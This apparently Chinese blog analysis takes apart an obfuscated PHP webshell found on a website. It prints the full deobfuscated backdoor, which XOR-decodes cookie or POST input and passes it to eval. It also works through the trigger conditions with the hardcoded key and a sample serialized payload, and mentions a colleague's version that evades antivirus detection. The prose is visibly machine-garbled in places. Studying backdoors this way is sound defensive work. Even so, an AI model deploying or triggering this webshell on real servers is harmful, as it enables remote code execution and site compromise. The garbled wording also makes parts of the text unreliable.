ps:这种办法碰着粗心/没有履历的管理员可能混过去,但若利用win自带的记事本(需开启自动换行)则一览无余。
实际上换行整理一下:
用Notepad++自带的正则更换大略做了下格式处理。

其余不才面的代码中创造了 eval/r49557ec/(
还插了注释,这个小方法很故意思,测试了下函数与"("中间插注释确实不影响实行。
但实际我测试用类似的注释办法添补敏感函数,过不了D盾。
一、还原庐山真面孔在进行更换/整理/和谐部分变量名之后,得到如下完全后门代码(整理后代码):
<?php$da59aa5 = 208;$GLOBALS['w8fd00d8'] = Array();global $w8fd00d8;$w8fd00d8 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@set_time_limit(0);if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1);$vv = NULL;$kk = NULL;$w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc';global $c77700426;function e664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i<strlen($vv);){for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){$n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));}}return $n513761;}function x184f5cc($vv, $kk){global $w8fd00d8;global $c77700426;return e664fd(e664fd($vv, $c77700426), $kk);}foreach ($_COOKIE as $k=>$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){if ($vv['a'] == 'i'){$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/r49557ec/($vv['d']);}}exit();}?>
1.前面的代码部分:须要用到的函数装入变量数组/并拆分拼接
2.定义了两个功能函数,紧张用来验证/处理
3.经由一系列限定条件的判断等,终极触发eval/r49557ec/(
4.全体后门的函数/字符串通报险些都是利用数组+拼接的办法进行的
这是大致的逻辑,实际爆菊成功之前有几件事要做:
1.调试出各种已定义变量的值2.更换字变量/函数名,增加可读性3.通过倒序的办法,逐步考试测验调用后门,明确调用逻辑。
首先前面几行:
$GLOBALS['w8fd00d8'] = Array();//定义全局数组,用于保存后面的各种函数名/字符串,以及直接作为函数实行 ,如$GLOBALS['xx']()global $w8fd00d8;$w8fd00d8 = $GLOBALS; //这里有一个创造,如果变量是被$GLOBALS赋值,那么此变量也会随着$GLOBALS的值实时更新
如:
$test = $GLOBALS;访问:?handsome=321123$test值也有handsome=321123
这个特性我查了半天资料,没有找到缘故原由。
下面:
${ "\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
查了下彷佛是16进制或Unicode编码,双引号情形下可以直接输出其值。
由于是16进制,在单引号包裹的情形下也可以利用chr(hexdec(字符串))进行解码。
当然,我直接打印了所有已定义变量,得到如下:
[a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr [z2d33f00] => ord [v618c417c] => define [hb67d10] => strlen [r018ad5] => defined [x8a4] => ini_set [n2eb] => serialize [be64] => phpversion [f8d94b] => unserialize [kdd72d] => base64_decode [k23b] => set_time_limit [s6f48] => x184f5cc [jf1ef40] => e664fd [c68905ea] => Array
创造
敏感函数unserialize //可能须要反序列化操作
个中下标[a904]的值由于存在分外字符,没有显示完备,其余如需利用到[a904]的值也要考虑这个问题,不能直接输出利用。
二、触发条件剖析当时按顺序读了下功能,事后复盘创造,可能比较高效的做法是倒序着读,顺着最下面的实行逻辑往上去布局条件。
以是既然重点在
eval/r49557ec/($vv['d']);
那设法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的,我们先直接修正$vv的值,看若何才能知足实行条件。
if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){if ($vv['a'] == 'i'){$l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/r49557ec/($vv['d']);}}exit();
后门触发条件:
1.$vv须要是数组
2.成员必须存在'ak'且'ak'需即是$c77700426的值
$c77700426的值在上面已有定义:为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';
3.成员需存在'a',若值为'i'则输出版本,为'e'则触发后门
4.后门实行内容为成员'd'的值
以是$vv须要即是↓↓
array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'实行代码' //如phpinfo(););
.直接传入试试有没有问题 :
可以实行,回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
那x184f5cc(base64_decode($vv), $kk)的返回值就须要是序列化后的上面我们布局的数组
也便是:
x184f5cc(base64_decode($vv), $kk) 返回值须要即是 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
看下x184f5cc()函数做了什么操作?
functionx184f5cc($vv, $kk){ global $w8fd00d8; global $c77700426; return e664fd(e664fd($vv, $c77700426), $kk); }
1.个中$w8fd00d8相称于$GLOBALS
$c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.经由两次核心稠浊函数e664fd()的处理
这时候重新理一下:
我们必须使e664fd(e664fd($vv, $c77700426), $kk);的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
再来看一下e664fd()函数
functione664fd($vv, $kk){ global $w8fd00d8; $n513761 = ""; for ($i=0;$i<strlen($vv);){ for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){ $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p])); } } return $n513761; }
大致功能便是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反),得到的结果以字符串形式返回。
位取反有个特点:
1.A与B取反=C2.B与C取反=A可逆,B^C当然就得到A了。
以是回过分看:我们必须使函数↓↓
e664fd(e664fd($vv, $c77700426), $kk);
的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
也便是我们须要在第二次我们必须使e664fd()时候,让e664fd($vv, $c77700426)与$kk的取反结果即是↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
于是须要看看$kk的值是如何过来的,
foreach ($_COOKIE as $k=>$v){ $vv = $v; $kk = $k; } if (!$vv){ foreach ($_POST as $k=>$v){ $vv = $v; $kk = $k; } }
创造$kk/$vv前后没有做什么验证,代码便是便是比较纯挚的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv
我们通过cookie提交来验证一下是否正常输出:
没问题!
然后我们大致确定下布局的思路:
e664fd(e664fd($vv, $c77700426), $kk);
第一次e664fd()实行时:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
需返回能与第二次e664fd() cookie参数名取反结果为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值
第二次e664fd()实行时:
e664fd(第一次的返回值, $kk);
//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
以是布局思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照这个逻辑进行参数提交,方可触发后门。
但COOKIE/POST中参数名对分外字符支持有限,以是$kk(参数名)的值最好在字母/数字范围内,好在$vv(参数值)的值就宽容的多,尤其是由于$vv通报过程须要Base64解码,以是,cookie值需base64编码,可以取反的字符范围就比较大了。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
我们先把$kk也便是cookie参数名的字符固定一下,比如就叫'tttttttttttttttttttttttttttttttttttttt.....'(也可以是任意字符 cookie参数名许可即可)详细长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化后长度是101个字符),两者长度要同等。
四、写个Payload脚本大致实现通过传参天生任意实行代码的payload,如果要更
天生结果:
实行结果:
问题:
为何我测试许久创造提交的命令只要大于11个字符就报错,该当不是cookie参数名长度问题,希望有兄弟解答!
..........
彩蛋我在剖析此后门过程中,前面提到的导致无法实行超过11位的payload。
Heihu577兄弟进行了调试并提醒了我缘故原由所在,我很感谢他,并且他把此马进一步拓展利用,不仅改了过查杀,还可以直接用于SHELL管理工具(如蚁剑),他的文章很精彩,让我们一起拭目以待他的下文吧!
本文作者:00地气00